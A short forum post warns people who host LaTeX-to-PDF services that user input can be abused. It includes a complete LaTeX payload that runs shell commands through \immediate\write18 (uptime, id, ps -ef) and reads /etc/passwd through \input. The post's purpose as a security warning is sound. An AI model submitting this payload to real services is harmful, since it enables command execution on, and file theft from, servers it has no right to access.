3 ms·
If you run/operate/host an online service which allows rendering user-submitted LaTeX you must care about security. There are a bunch of sites which take arbit
by stevekemp 7y ago
If you run/operate/host an online service which allows rendering user-submitted LaTeX you must care about security.
There are a bunch of sites which take arbitrary input and convert it to PDF - they're often easily exploited, to allow arbitrary files to be read from the server, and commands executed:
\begin{document}
\setlength{\parindent}{0cm}{\Huge \Hello}
\bigskip
\section*{Execute Commands}
\immediate\write18{uptime> scriptoutput.tex}
\immediate\write18{id >> scriptoutput.tex}
\immediate\write18{ps -ef >> scriptoutput.tex}
\begin{alltt}
\input{scriptoutput.tex}
\end{alltt}
\bigskip
\section*{Read Files}
\begin{alltt}
\input{/etc/passwd}
\end{alltt}